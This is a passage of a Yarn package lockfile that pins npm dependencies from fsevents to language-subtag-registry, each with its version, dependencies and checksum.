"npm:^7.0.3" - checksum: 10c0/63e80da2ff9b621e2cb1596abcb9207f1cf82b968b116ccd7b959e3323144cce7fb141462200971c38bbf2ecca51695069db45265705bed09a7cd93ae5b89f94 - languageName: node - linkType: hard - -"fsevents@npm:~2.3.2, fsevents@npm:~2.3.3": - version: 2.3.3 - resolution: "fsevents@npm:2.3.3" - dependencies: - node-gyp: "npm:latest" - checksum: 10c0/a1f0c44595123ed717febbc478aa952e47adfc28e2092be66b8ab1635147254ca6cfe1df792a8997f22716d4cbafc73309899ff7bfac2ac3ad8cf2e4ecc3ec60 - conditions: os=darwin - languageName: node - linkType: hard - -"fsevents@patch:fsevents@npm%3A~2.3.2#optional!builtin<compat/fsevents>, fsevents@patch:fsevents@npm%3A~2.3.3#optional!builtin<compat/fsevents>": - version: 2.3.3 - resolution: "fsevents@patch:fsevents@npm%3A2.3.3#optional!builtin<compat/fsevents>::version=2.3.3&hash=df0bf1" - dependencies: - node-gyp: "npm:latest" - conditions: os=darwin - languageName: node - linkType: hard - -"function-bind@npm:^1.1.2": - version: 1.1.2 - resolution: "function-bind@npm:1.1.2" - checksum: 10c0/d8680ee1e5fcd4c197e4ac33b2b4dce03c71f4d91717292785703db200f5c21f977c568d28061226f9b5900cbcd2c84463646134fd5337e7925e0942bc3f46d5 - languageName: node - linkType: hard - -"function.prototype.name@npm:^1.1.6, function.prototype.name@npm:^1.1.8": - version: 1.1.8 - resolution: "function.prototype.name@npm:1.1.8" - dependencies: - call-bind: "npm:^1.0.8" - call-bound: "npm:^1.0.3" - define-properties: "npm:^1.2.1" - functions-have-names: "npm:^1.2.3" - hasown: "npm:^2.0.2" - is-callable: "npm:^1.2.7" - checksum: 10c0/e920a2ab52663005f3cbe7ee3373e3c71c1fb5558b0b0548648cdf3e51961085032458e26c71ff1a8c8c20e7ee7caeb03d43a5d1fa8610c459333323a2e71253 - languageName: node - linkType: hard - -"functions-have-names@npm:^1.2.3": - version: 1.2.3 - resolution: "functions-have-names@npm:1.2.3" - checksum: 10c0/33e77fd29bddc2d9bb78ab3eb854c165909201f88c75faa8272e35899e2d35a8a642a15e7420ef945e1f64a9670d6aa3ec744106b2aa42be68ca5114025954ca - languageName: node - linkType: hard - -"generator-function@npm:^2.0.0": - version: 2.0.1 - resolution: "generator-function@npm:2.0.1" - checksum: 10c0/8a9f59df0f01cfefafdb3b451b80555e5cf6d76487095db91ac461a0e682e4ff7a9dbce15f4ecec191e53586d59eece01949e05a4b4492879600bbbe8e28d6b8 - languageName: node - linkType: hard - -"gensync@npm:^1.0.0-beta.2": - version: 1.0.0-beta.2 - resolution: "gensync@npm:1.0.0-beta.2" - checksum: 10c0/782aba6cba65b1bb5af3b095d96249d20edbe8df32dbf4696fd49be2583faf676173bf4809386588828e4dd76a3354fcbeb577bab1c833ccd9fc4577f26103f8 - languageName: node - linkType: hard - -"get-intrinsic@npm:^1.2.4, get-intrinsic@npm:^1.2.5, get-intrinsic@npm:^1.2.6, get-intrinsic@npm:^1.2.7, get-intrinsic@npm:^1.3.0": - version: 1.3.1 - resolution: "get-intrinsic@npm:1.3.1" - dependencies: - async-function: "npm:^1.0.0" - async-generator-function: "npm:^1.0.0" - call-bind-apply-helpers: "npm:^1.0.2" - es-define-property: "npm:^1.0.1" - es-errors: "npm:^1.3.0" - es-object-atoms: "npm:^1.1.1" - function-bind: "npm:^1.1.2" - generator-function: "npm:^2.0.0" - get-proto: "npm:^1.0.1" - gopd: "npm:^1.2.0" - has-symbols: "npm:^1.1.0" - hasown: "npm:^2.0.2" - math-intrinsics: "npm:^1.1.0" - checksum: 10c0/9f4ab0cf7efe0fd2c8185f52e6f637e708f3a112610c88869f8f041bb9ecc2ce44bf285dfdbdc6f4f7c277a5b88d8e94a432374d97cca22f3de7fc63795deb5d - languageName: node - linkType: hard - -"get-proto@npm:^1.0.0, get-proto@npm:^1.0.1": - version: 1.0.1 - resolution: "get-proto@npm:1.0.1" - dependencies: - dunder-proto: "npm:^1.0.1" - es-object-atoms: "npm:^1.0.0" - checksum: 10c0/9224acb44603c5526955e83510b9da41baf6ae73f7398875fba50edc5e944223a89c4a72b070fcd78beb5f7bdda58ecb6294adc28f7acfc0da05f76a2399643c - languageName: node - linkType: hard - -"get-symbol-description@npm:^1.1.0": - version: 1.1.0 - resolution: "get-symbol-description@npm:1.1.0" - dependencies: - call-bound: "npm:^1.0.3" - es-errors: "npm:^1.3.0" - get-intrinsic: "npm:^1.2.6" - checksum: 10c0/d6a7d6afca375779a4b307738c9e80dbf7afc0bdbe5948768d54ab9653c865523d8920e670991a925936eb524b7cb6a6361d199a760b21d0ca7620194455aa4b - languageName: node - linkType: hard - -"glob-parent@npm:^6.0.2": - version: 6.0.2 - resolution: "glob-parent@npm:6.0.2" - dependencies: - is-glob: "npm:^4.0.3" - checksum: 10c0/317034d88654730230b3f43bb7ad4f7c90257a426e872ea0bf157473ac61c99bf5d205fad8f0185f989be8d2fa6d3c7dce1645d99d545b6ea9089c39f838e7f8 - languageName: node - linkType: hard - -"glob-regex@npm:^0.3.0": - version: 0.3.2 - resolution: "glob-regex@npm:0.3.2" - checksum: 10c0/73cbaef56796ab967b516e0db07375c26535274fa259ce06da82b7dd25a138bf318237fd0cd93a6b0490e4d90db9f127193d8184e5c1acc296d2e5b879e66206 - languageName: node - linkType: hard - -"glob@npm:^13.0.0": - version: 13.0.6 - resolution: "glob@npm:13.0.6" - dependencies: - minimatch: "npm:^10.2.2" - minipass: "npm:^7.1.3" - path-scurry: "npm:^2.0.2" - checksum: 10c0/269c236f11a9b50357fe7a8c6aadac667e01deb5242b19c84975628f05f4438d8ee1354bb62c5d6c10f37fd59911b54d7799730633a2786660d8c69f1d18120a - languageName: node - linkType: hard - -"globals@npm:^14.0.0": - version: 14.0.0 - resolution: "globals@npm:14.0.0" - checksum: 10c0/b96ff42620c9231ad468d4c58ff42afee7777ee1c963013ff8aabe095a451d0ceeb8dcd8ef4cbd64d2538cef45f787a78ba3a9574f4a634438963e334471302d - languageName: node - linkType: hard - -"globalthis@npm:^1.0.4": - version: 1.0.4 - resolution: "globalthis@npm:1.0.4" - dependencies: - define-properties: "npm:^1.2.1" - gopd: "npm:^1.0.1" - checksum: 10c0/9d156f313af79d80b1566b93e19285f481c591ad6d0d319b4be5e03750d004dde40a39a0f26f7e635f9007a3600802f53ecd85a759b86f109e80a5f705e01846 - languageName: node - linkType: hard - -"globrex@npm:^0.1.2": - version: 0.1.2 - resolution: "globrex@npm:0.1.2" - checksum: 10c0/a54c029520cf58bda1d8884f72bd49b4cd74e977883268d931fd83bcbd1a9eb96d57c7dbd4ad80148fb9247467ebfb9b215630b2ed7563b2a8de02e1ff7f89d1 - languageName: node - linkType: hard - -"gopd@npm:^1.0.1, gopd@npm:^1.2.0": - version: 1.2.0 - resolution: "gopd@npm:1.2.0" - checksum: 10c0/50fff1e04ba2b7737c097358534eacadad1e68d24cccee3272e04e007bed008e68d2614f3987788428fd192a5ae3889d08fb2331417e4fc4a9ab366b2043cead - languageName: node - linkType: hard - -"graceful-fs@npm:^4.2.6": - version: 4.2.11 - resolution: "graceful-fs@npm:4.2.11" - checksum: 10c0/386d011a553e02bc594ac2ca0bd6d9e4c22d7fa8cfbfc448a6d148c59ea881b092db9dbe3547ae4b88e55f1b01f7c4a2ecc53b310c042793e63aa44cf6c257f2 - languageName: node - linkType: hard - -"has-bigints@npm:^1.0.2": - version: 1.1.0 - resolution: "has-bigints@npm:1.1.0" - checksum: 10c0/2de0cdc4a1ccf7a1e75ffede1876994525ac03cc6f5ae7392d3415dd475cd9eee5bceec63669ab61aa997ff6cceebb50ef75561c7002bed8988de2b9d1b40788 - languageName: node - linkType: hard - -"has-property-descriptors@npm:^1.0.0, has-property-descriptors@npm:^1.0.2": - version: 1.0.2 - resolution: "has-property-descriptors@npm:1.0.2" - dependencies: - es-define-property: "npm:^1.0.0" - checksum: 10c0/253c1f59e80bb476cf0dde8ff5284505d90c3bdb762983c3514d36414290475fe3fd6f574929d84de2a8eec00d35cf07cb6776205ff32efd7c50719125f00236 - languageName: node - linkType: hard - -"has-proto@npm:^1.2.0": - version: 1.2.0 - resolution: "has-proto@npm:1.2.0" - dependencies: - dunder-proto: "npm:^1.0.0" - checksum: 10c0/46538dddab297ec2f43923c3d35237df45d8c55a6fc1067031e04c13ed8a9a8f94954460632fd4da84c31a1721eefee16d901cbb1ae9602bab93bb6e08f93b95 - languageName: node - linkType: hard - -"has-symbols@npm:^1.0.3, has-symbols@npm:^1.1.0": - version: 1.1.0 - resolution: "has-symbols@npm:1.1.0" - checksum: 10c0/dde0a734b17ae51e84b10986e651c664379018d10b91b6b0e9b293eddb32f0f069688c841fb40f19e9611546130153e0a2a48fd7f512891fb000ddfa36f5a20e - languageName: node - linkType: hard - -"has-tostringtag@npm:^1.0.2": - version: 1.0.2 - resolution: "has-tostringtag@npm:1.0.2" - dependencies: - has-symbols: "npm:^1.0.3" - checksum: 10c0/a8b166462192bafe3d9b6e420a1d581d93dd867adb61be223a17a8d6dad147aa77a8be32c961bb2f27b3ef893cae8d36f564ab651f5e9b7938ae86f74027c48c - languageName: node - linkType: hard - -"hasown@npm:^2.0.2": - version: 2.0.2 - resolution: "hasown@npm:2.0.2" - dependencies: - function-bind: "npm:^1.1.2" - checksum: 10c0/3769d434703b8ac66b209a4cca0737519925bbdb61dd887f93a16372b14694c63ff4e797686d87c90f08168e81082248b9b028bad60d4da9e0d1148766f56eb9 - languageName: node - linkType: hard - -"hermes-estree@npm:0.25.1": - version: 0.25.1 - resolution: "hermes-estree@npm:0.25.1" - checksum: 10c0/48be3b2fa37a0cbc77a112a89096fa212f25d06de92781b163d67853d210a8a5c3784fac23d7d48335058f7ed283115c87b4332c2a2abaaccc76d0ead1a282ac - languageName: node - linkType: hard - -"hermes-parser@npm:^0.25.1": - version: 0.25.1 - resolution: "hermes-parser@npm:0.25.1" - dependencies: - hermes-estree: "npm:0.25.1" - checksum: 10c0/3abaa4c6f1bcc25273f267297a89a4904963ea29af19b8e4f6eabe04f1c2c7e9abd7bfc4730ddb1d58f2ea04b6fee74053d8bddb5656ec6ebf6c79cc8d14202c - languageName: node - linkType: hard - -"hoist-non-react-statics@npm:^3.3.0, hoist-non-react-statics@npm:^3.3.1": - version: 3.3.2 - resolution: "hoist-non-react-statics@npm:3.3.2" - dependencies: - react-is: "npm:^16.7.0" - checksum: 10c0/fe0889169e845d738b59b64badf5e55fa3cf20454f9203d1eb088df322d49d4318df774828e789898dcb280e8a5521bb59b3203385662ca5e9218a6ca5820e74 - languageName: node - linkType: hard - -"http-cache-semantics@npm:^4.1.1": - version: 4.2.0 - resolution: "http-cache-semantics@npm:4.2.0" - checksum: 10c0/45b66a945cf13ec2d1f29432277201313babf4a01d9e52f44b31ca923434083afeca03f18417f599c9ab3d0e7b618ceb21257542338b57c54b710463b4a53e37 - languageName: node - linkType: hard - -"http-proxy-agent@npm:^7.0.0": - version: 7.0.2 - resolution: "http-proxy-agent@npm:7.0.2" - dependencies: - agent-base: "npm:^7.1.0" - debug: "npm:^4.3.4" - checksum: 10c0/4207b06a4580fb85dd6dff521f0abf6db517489e70863dca1a0291daa7f2d3d2d6015a57bd702af068ea5cf9f1f6ff72314f5f5b4228d299c0904135d2aef921 - languageName: node - linkType: hard - -"https-proxy-agent@npm:^7.0.1": - version: 7.0.6 - resolution: "https-proxy-agent@npm:7.0.6" - dependencies: - agent-base: "npm:^7.1.2" - debug: "npm:4" - checksum: 10c0/f729219bc735edb621fa30e6e84e60ee5d00802b8247aac0d7b79b0bd6d4b3294737a337b93b86a0bd9e68099d031858a39260c976dc14cdbba238ba1f8779ac - languageName: node - linkType: hard - -"iconv-lite@npm:^0.6.2": - version: 0.6.3 - resolution: "iconv-lite@npm:0.6.3" - dependencies: - safer-buffer: "npm:>= 2.1.2 < 3.0.0" - checksum: 10c0/98102bc66b33fcf5ac044099d1257ba0b7ad5e3ccd3221f34dd508ab4070edff183276221684e1e0555b145fce0850c9f7d2b60a9fcac50fbb4ea0d6e845a3b1 - languageName: node - linkType: hard - -"ignore@npm:^5.2.0": - version: 5.3.2 - resolution: "ignore@npm:5.3.2" - checksum: 10c0/f9f652c957983634ded1e7f02da3b559a0d4cc210fca3792cb67f1b153623c9c42efdc1c4121af171e295444459fc4a9201101fb041b1104a3c000bccb188337 - languageName: node - linkType: hard - -"import-fresh@npm:^3.2.1": - version: 3.3.1 - resolution: "import-fresh@npm:3.3.1" - dependencies: - parent-module: "npm:^1.0.0" - resolve-from: "npm:^4.0.0" - checksum: 10c0/bf8cc494872fef783249709385ae883b447e3eb09db0ebd15dcead7d9afe7224dad7bd7591c6b73b0b19b3c0f9640eb8ee884f01cfaf2887ab995b0b36a0cbec - languageName: node - linkType: hard - -"imurmurhash@npm:^0.1.4": - version: 0.1.4 - resolution: "imurmurhash@npm:0.1.4" - checksum: 10c0/8b51313850dd33605c6c9d3fd9638b714f4c4c40250cff658209f30d40da60f78992fb2df5dabee4acf589a6a82bbc79ad5486550754bd9ec4e3fc0d4a57d6a6 - languageName: node - linkType: hard - -"internal-slot@npm:^1.1.0": - version: 1.1.0 - resolution: "internal-slot@npm:1.1.0" - dependencies: - es-errors: "npm:^1.3.0" - hasown: "npm:^2.0.2" - side-channel: "npm:^1.1.0" - checksum: 10c0/03966f5e259b009a9bf1a78d60da920df198af4318ec004f57b8aef1dd3fe377fbc8cce63a96e8c810010302654de89f9e19de1cd8ad0061d15be28a695465c7 - languageName: node - linkType: hard - -"internmap@npm:1 - 2, internmap@npm:^2.0.3": - version: 2.0.3 - resolution: "internmap@npm:2.0.3" - checksum: 10c0/8cedd57f07bbc22501516fbfc70447f0c6812871d471096fad9ea603516eacc2137b633633daf432c029712df0baefd793686388ddf5737e3ea15074b877f7ed - languageName: node - linkType: hard - -"ip-address@npm:^10.0.1": - version: 10.1.0 - resolution: "ip-address@npm:10.1.0" - checksum: 10c0/0103516cfa93f6433b3bd7333fa876eb21263912329bfa47010af5e16934eeeff86f3d2ae700a3744a137839ddfad62b900c7a445607884a49b5d1e32a3d7566 - languageName: node - linkType: hard - -"is-array-buffer@npm:^3.0.4, is-array-buffer@npm:^3.0.5": - version: 3.0.5 - resolution: "is-array-buffer@npm:3.0.5" - dependencies: - call-bind: "npm:^1.0.8" - call-bound: "npm:^1.0.3" - get-intrinsic: "npm:^1.2.6" - checksum: 10c0/c5c9f25606e86dbb12e756694afbbff64bc8b348d1bc989324c037e1068695131930199d6ad381952715dad3a9569333817f0b1a72ce5af7f883ce802e49c83d - languageName: node - linkType: hard - -"is-arrayish@npm:^0.2.1": - version: 0.2.1 - resolution: "is-arrayish@npm:0.2.1" - checksum: 10c0/e7fb686a739068bb70f860b39b67afc62acc62e36bb61c5f965768abce1873b379c563e61dd2adad96ebb7edf6651111b385e490cf508378959b0ed4cac4e729 - languageName: node - linkType: hard - -"is-async-function@npm:^2.0.0": - version: 2.1.1 - resolution: "is-async-function@npm:2.1.1" - dependencies: - async-function: "npm:^1.0.0" - call-bound: "npm:^1.0.3" - get-proto: "npm:^1.0.1" - has-tostringtag: "npm:^1.0.2" - safe-regex-test: "npm:^1.1.0" - checksum: 10c0/d70c236a5e82de6fc4d44368ffd0c2fee2b088b893511ce21e679da275a5ecc6015ff59a7d7e1bdd7ca39f71a8dbdd253cf8cce5c6b3c91cdd5b42b5ce677298 - languageName: node - linkType: hard - -"is-bigint@npm:^1.1.0": - version: 1.1.0 - resolution: "is-bigint@npm:1.1.0" - dependencies: - has-bigints: "npm:^1.0.2" - checksum: 10c0/f4f4b905ceb195be90a6ea7f34323bf1c18e3793f18922e3e9a73c684c29eeeeff5175605c3a3a74cc38185fe27758f07efba3dbae812e5c5afbc0d2316b40e4 - languageName: node - linkType: hard - -"is-boolean-object@npm:^1.2.1": - version: 1.2.2 - resolution: "is-boolean-object@npm:1.2.2" - dependencies: - call-bound: "npm:^1.0.3" - has-tostringtag: "npm:^1.0.2" - checksum: 10c0/36ff6baf6bd18b3130186990026f5a95c709345c39cd368468e6c1b6ab52201e9fd26d8e1f4c066357b4938b0f0401e1a5000e08257787c1a02f3a719457001e - languageName: node - linkType: hard - -"is-callable@npm:^1.2.7": - version: 1.2.7 - resolution: "is-callable@npm:1.2.7" - checksum: 10c0/ceebaeb9d92e8adee604076971dd6000d38d6afc40bb843ea8e45c5579b57671c3f3b50d7f04869618242c6cee08d1b67806a8cb8edaaaf7c0748b3720d6066f - languageName: node - linkType: hard - -"is-core-module@npm:^2.16.1": - version: 2.16.1 - resolution: "is-core-module@npm:2.16.1" - dependencies: - hasown: "npm:^2.0.2" - checksum: 10c0/898443c14780a577e807618aaae2b6f745c8538eca5c7bc11388a3f2dc6de82b9902bcc7eb74f07be672b11bbe82dd6a6edded44a00cb3d8f933d0459905eedd - languageName: node - linkType: hard - -"is-data-view@npm:^1.0.1, is-data-view@npm:^1.0.2": - version: 1.0.2 - resolution: "is-data-view@npm:1.0.2" - dependencies: - call-bound: "npm:^1.0.2" - get-intrinsic: "npm:^1.2.6" - is-typed-array: "npm:^1.1.13" - checksum: 10c0/ef3548a99d7e7f1370ce21006baca6d40c73e9f15c941f89f0049c79714c873d03b02dae1c64b3f861f55163ecc16da06506c5b8a1d4f16650b3d9351c380153 - languageName: node - linkType: hard - -"is-date-object@npm:^1.0.5, is-date-object@npm:^1.1.0": - version: 1.1.0 - resolution: "is-date-object@npm:1.1.0" - dependencies: - call-bound: "npm:^1.0.2" - has-tostringtag: "npm:^1.0.2" - checksum: 10c0/1a4d199c8e9e9cac5128d32e6626fa7805175af9df015620ac0d5d45854ccf348ba494679d872d37301032e35a54fc7978fba1687e8721b2139aea7870cafa2f - languageName: node - linkType: hard - -"is-extglob@npm:^2.1.1": - version: 2.1.1 - resolution: "is-extglob@npm:2.1.1" - checksum: 10c0/5487da35691fbc339700bbb2730430b07777a3c21b9ebaecb3072512dfd7b4ba78ac2381a87e8d78d20ea08affb3f1971b4af629173a6bf435ff8a4c47747912 - languageName: node - linkType: hard - -"is-finalizationregistry@npm:^1.1.0": - version: 1.1.1 - resolution: "is-finalizationregistry@npm:1.1.1" - dependencies: - call-bound: "npm:^1.0.3" - checksum: 10c0/818dff679b64f19e228a8205a1e2d09989a98e98def3a817f889208cfcbf918d321b251aadf2c05918194803ebd2eb01b14fc9d0b2bea53d984f4137bfca5e97 - languageName: node - linkType: hard - -"is-generator-function@npm:^1.0.10": - version: 1.1.2 - resolution: "is-generator-function@npm:1.1.2" - dependencies: - call-bound: "npm:^1.0.4" - generator-function: "npm:^2.0.0" - get-proto: "npm:^1.0.1" - has-tostringtag: "npm:^1.0.2" - safe-regex-test: "npm:^1.1.0" - checksum: 10c0/83da102e89c3e3b71d67b51d47c9f9bc862bceb58f87201727e27f7fa19d1d90b0ab223644ecaee6fc6e3d2d622bb25c966fbdaf87c59158b01ce7c0fe2fa372 - languageName: node - linkType: hard - -"is-glob@npm:^4.0.0, is-glob@npm:^4.0.3": - version: 4.0.3 - resolution: "is-glob@npm:4.0.3" - dependencies: - is-extglob: "npm:^2.1.1" - checksum: 10c0/17fb4014e22be3bbecea9b2e3a76e9e34ff645466be702f1693e8f1ee1adac84710d0be0bd9f967d6354036fd51ab7c2741d954d6e91dae6bb69714de92c197a - languageName: node - linkType: hard - -"is-map@npm:^2.0.3": - version: 2.0.3 - resolution: "is-map@npm:2.0.3" - checksum: 10c0/2c4d431b74e00fdda7162cd8e4b763d6f6f217edf97d4f8538b94b8702b150610e2c64961340015fe8df5b1fcee33ccd2e9b62619c4a8a3a155f8de6d6d355fc - languageName: node - linkType: hard - -"is-mobile@npm:^5.0.0": - version: 5.0.0 - resolution: "is-mobile@npm:5.0.0" - checksum: 10c0/70b31c3e4489109e02deb9b590e74858aeec7ef775a882d89ec030cb7dbaeb2be1173d7faee495049629e49822d0aba9b20e6653b1e25dd7c9121247cb8829d7 - languageName: node - linkType: hard - -"is-negative-zero@npm:^2.0.3": - version: 2.0.3 - resolution: "is-negative-zero@npm:2.0.3" - checksum: 10c0/bcdcf6b8b9714063ffcfa9929c575ac69bfdabb8f4574ff557dfc086df2836cf07e3906f5bbc4f2a5c12f8f3ba56af640c843cdfc74da8caed86c7c7d66fd08e - languageName: node - linkType: hard - -"is-number-object@npm:^1.1.1": - version: 1.1.1 - resolution: "is-number-object@npm:1.1.1" - dependencies: - call-bound: "npm:^1.0.3" - has-tostringtag: "npm:^1.0.2" - checksum: 10c0/97b451b41f25135ff021d85c436ff0100d84a039bb87ffd799cbcdbea81ef30c464ced38258cdd34f080be08fc3b076ca1f472086286d2aa43521d6ec6a79f53 - languageName: node - linkType: hard - -"is-regex@npm:^1.2.1": - version: 1.2.1 - resolution: "is-regex@npm:1.2.1" - dependencies: - call-bound: "npm:^1.0.2" - gopd: "npm:^1.2.0" - has-tostringtag: "npm:^1.0.2" - hasown: "npm:^2.0.2" - checksum: 10c0/1d3715d2b7889932349241680032e85d0b492cfcb045acb75ffc2c3085e8d561184f1f7e84b6f8321935b4aea39bc9c6ba74ed595b57ce4881a51dfdbc214e04 - languageName: node - linkType: hard - -"is-set@npm:^2.0.3": - version: 2.0.3 - resolution: "is-set@npm:2.0.3" - checksum: 10c0/f73732e13f099b2dc879c2a12341cfc22ccaca8dd504e6edae26484bd5707a35d503fba5b4daad530a9b088ced1ae6c9d8200fd92e09b428fe14ea79ce8080b7 - languageName: node - linkType: hard - -"is-shared-array-buffer@npm:^1.0.4": - version: 1.0.4 - resolution: "is-shared-array-buffer@npm:1.0.4" - dependencies: - call-bound: "npm:^1.0.3" - checksum: 10c0/65158c2feb41ff1edd6bbd6fd8403a69861cf273ff36077982b5d4d68e1d59278c71691216a4a64632bd76d4792d4d1d2553901b6666d84ade13bba5ea7bc7db - languageName: node - linkType: hard - -"is-string@npm:^1.1.1": - version: 1.1.1 - resolution: "is-string@npm:1.1.1" - dependencies: - call-bound: "npm:^1.0.3" - has-tostringtag: "npm:^1.0.2" - checksum: 10c0/2f518b4e47886bb81567faba6ffd0d8a8333cf84336e2e78bf160693972e32ad00fe84b0926491cc598dee576fdc55642c92e62d0cbe96bf36f643b6f956f94d - languageName: node - linkType: hard - -"is-symbol@npm:^1.0.4, is-symbol@npm:^1.1.1": - version: 1.1.1 - resolution: "is-symbol@npm:1.1.1" - dependencies: - call-bound: "npm:^1.0.2" - has-symbols: "npm:^1.1.0" - safe-regex-test: "npm:^1.1.0" - checksum: 10c0/f08f3e255c12442e833f75a9e2b84b2d4882fdfd920513cf2a4a2324f0a5b076c8fd913778e3ea5d258d5183e9d92c0cd20e04b03ab3df05316b049b2670af1e - languageName: node - linkType: hard - -"is-typed-array@npm:^1.1.13, is-typed-array@npm:^1.1.14, is-typed-array@npm:^1.1.15": - version: 1.1.15 - resolution: "is-typed-array@npm:1.1.15" - dependencies: - which-typed-array: "npm:^1.1.16" - checksum: 10c0/415511da3669e36e002820584e264997ffe277ff136643a3126cc949197e6ca3334d0f12d084e83b1994af2e9c8141275c741cf2b7da5a2ff62dd0cac26f76c4 - languageName: node - linkType: hard - -"is-weakmap@npm:^2.0.2": - version: 2.0.2 - resolution: "is-weakmap@npm:2.0.2" - checksum: 10c0/443c35bb86d5e6cc5929cd9c75a4024bb0fff9586ed50b092f94e700b89c43a33b186b76dbc6d54f3d3d09ece689ab38dcdc1af6a482cbe79c0f2da0a17f1299 - languageName: node - linkType: hard - -"is-weakref@npm:^1.0.2, is-weakref@npm:^1.1.1": - version: 1.1.1 - resolution: "is-weakref@npm:1.1.1" - dependencies: - call-bound: "npm:^1.0.3" - checksum: 10c0/8e0a9c07b0c780949a100e2cab2b5560a48ecd4c61726923c1a9b77b6ab0aa0046c9e7fb2206042296817045376dee2c8ab1dabe08c7c3dfbf195b01275a085b - languageName: node - linkType: hard - -"is-weakset@npm:^2.0.3": - version: 2.0.4 - resolution: "is-weakset@npm:2.0.4" - dependencies: - call-bound: "npm:^1.0.3" - get-intrinsic: "npm:^1.2.6" - checksum: 10c0/6491eba08acb8dc9532da23cb226b7d0192ede0b88f16199e592e4769db0a077119c1f5d2283d1e0d16d739115f70046e887e477eb0e66cd90e1bb29f28ba647 - languageName: node - linkType: hard - -"isarray@npm:^2.0.5": - version: 2.0.5 - resolution: "isarray@npm:2.0.5" - checksum: 10c0/4199f14a7a13da2177c66c31080008b7124331956f47bca57dd0b6ea9f11687aa25e565a2c7a2b519bc86988d10398e3049a1f5df13c9f6b7664154690ae79fd - languageName: node - linkType: hard - -"isexe@npm:^2.0.0": - version: 2.0.0 - resolution: "isexe@npm:2.0.0" - checksum: 10c0/228cfa503fadc2c31596ab06ed6aa82c9976eec2bfd83397e7eaf06d0ccf42cd1dfd6743bf9aeb01aebd4156d009994c5f76ea898d2832c1fe342da923ca457d - languageName: node - linkType: hard - -"isexe@npm:^4.0.0": - version: 4.0.0 - resolution: "isexe@npm:4.0.0" - checksum: 10c0/5884815115bceac452877659a9c7726382531592f43dc29e5d48b7c4100661aed54018cb90bd36cb2eaeba521092570769167acbb95c18d39afdccbcca06c5ce - languageName: node - linkType: hard - -"iterator.prototype@npm:^1.1.5": - version: 1.1.5 - resolution: "iterator.prototype@npm:1.1.5" - dependencies: - define-data-property: "npm:^1.1.4" - es-object-atoms: "npm:^1.0.0" - get-intrinsic: "npm:^1.2.6" - get-proto: "npm:^1.0.0" - has-symbols: "npm:^1.1.0" - set-function-name: "npm:^2.0.2" - checksum: 10c0/f7a262808e1b41049ab55f1e9c29af7ec1025a000d243b83edf34ce2416eedd56079b117fa59376bb4a724110690f13aa8427f2ee29a09eec63a7e72367626d0 - languageName: node - linkType: hard - -"js-tokens@npm:^3.0.0 || ^4.0.0, js-tokens@npm:^4.0.0": - version: 4.0.0 - resolution: "js-tokens@npm:4.0.0" - checksum: 10c0/e248708d377aa058eacf2037b07ded847790e6de892bbad3dac0abba2e759cb9f121b00099a65195616badcb6eca8d14d975cb3e89eb1cfda644756402c8aeed - languageName: node - linkType: hard - -"js-yaml@npm:^4.1.1": - version: 4.1.1 - resolution: "js-yaml@npm:4.1.1" - dependencies: - argparse: "npm:^2.0.1" - bin: - js-yaml: bin/js-yaml.js - checksum: 10c0/561c7d7088c40a9bb53cc75becbfb1df6ae49b34b5e6e5a81744b14ae8667ec564ad2527709d1a6e7d5e5fa6d483aa0f373a50ad98d42fde368ec4a190d4fae7 - languageName: node - linkType: hard - -"jsesc@npm:^3.0.2": - version: 3.1.0 - resolution: "jsesc@npm:3.1.0" - bin: - jsesc: bin/jsesc - checksum: 10c0/531779df5ec94f47e462da26b4cbf05eb88a83d9f08aac2ba04206508fc598527a153d08bd462bae82fc78b3eaa1a908e1a4a79f886e9238641c4cdefaf118b1 - languageName: node - linkType: hard - -"json-buffer@npm:3.0.1": - version: 3.0.1 - resolution: "json-buffer@npm:3.0.1" - checksum: 10c0/0d1c91569d9588e7eef2b49b59851f297f3ab93c7b35c7c221e288099322be6b562767d11e4821da500f3219542b9afd2e54c5dc573107c1126ed1080f8e96d7 - languageName: node - linkType: hard - -"json-parse-even-better-errors@npm:^2.3.0": - version: 2.3.1 - resolution: "json-parse-even-better-errors@npm:2.3.1" - checksum: 10c0/140932564c8f0b88455432e0f33c4cb4086b8868e37524e07e723f4eaedb9425bdc2bafd71bd1d9765bd15fd1e2d126972bc83990f55c467168c228c24d665f3 - languageName: node - linkType: hard - -"json-schema-traverse@npm:^0.4.1": - version: 0.4.1 - resolution: "json-schema-traverse@npm:0.4.1" - checksum: 10c0/108fa90d4cc6f08243aedc6da16c408daf81793bf903e9fd5ab21983cda433d5d2da49e40711da016289465ec2e62e0324dcdfbc06275a607fe3233fde4942ce - languageName: node - linkType: hard - -"json-stable-stringify-without-jsonify@npm:^1.0.1": - version: 1.0.1 - resolution: "json-stable-stringify-without-jsonify@npm:1.0.1" - checksum: 10c0/cb168b61fd4de83e58d09aaa6425ef71001bae30d260e2c57e7d09a5fd82223e2f22a042dedaab8db23b7d9ae46854b08bb1f91675a8be11c5cffebef5fb66a5 - languageName: node - linkType: hard - -"json5@npm:^1.0.2": - version: 1.0.2 - resolution: "json5@npm:1.0.2" - dependencies: - minimist: "npm:^1.2.0" - bin: - json5: lib/cli.js - checksum: 10c0/9ee316bf21f000b00752e6c2a3b79ecf5324515a5c60ee88983a1910a45426b643a4f3461657586e8aeca87aaf96f0a519b0516d2ae527a6c3e7eed80f68717f - languageName: node - linkType: hard - -"json5@npm:^2.2.3": - version: 2.2.3 - resolution: "json5@npm:2.2.3" - bin: - json5: lib/cli.js - checksum: 10c0/5a04eed94810fa55c5ea138b2f7a5c12b97c3750bc63d11e511dcecbfef758003861522a070c2272764ee0f4e3e323862f386945aeb5b85b87ee43f084ba586c - languageName: node - linkType: hard - -"jsx-ast-utils@npm:^2.4.1 || ^3.0.0, jsx-ast-utils@npm:^3.3.5": - version: 3.3.5 - resolution: "jsx-ast-utils@npm:3.3.5" - dependencies: - array-includes: "npm:^3.1.6" - array.prototype.flat: "npm:^1.3.1" - object.assign: "npm:^4.1.4" - object.values: "npm:^1.1.6" - checksum: 10c0/a32679e9cb55469cb6d8bbc863f7d631b2c98b7fc7bf172629261751a6e7bc8da6ae374ddb74d5fbd8b06cf0eb4572287b259813d92b36e384024ed35e4c13e1 - languageName: node - linkType: hard - -"keyv@npm:^4.5.4": - version: 4.5.4 - resolution: "keyv@npm:4.5.4" - dependencies: - json-buffer: "npm:3.0.1" - checksum: 10c0/aa52f3c5e18e16bb6324876bb8b59dd02acf782a4b789c7b2ae21107fab95fab3890ed448d4f8dba80ce05391eeac4bfabb4f02a20221342982f806fa2cf271e - languageName: node - linkType: hard - -"language-subtag-registry@npm:^0.3.20": - version: 0.3.23 - resolution: "language-subtag-registry@npm:0.3.23" - checksum: 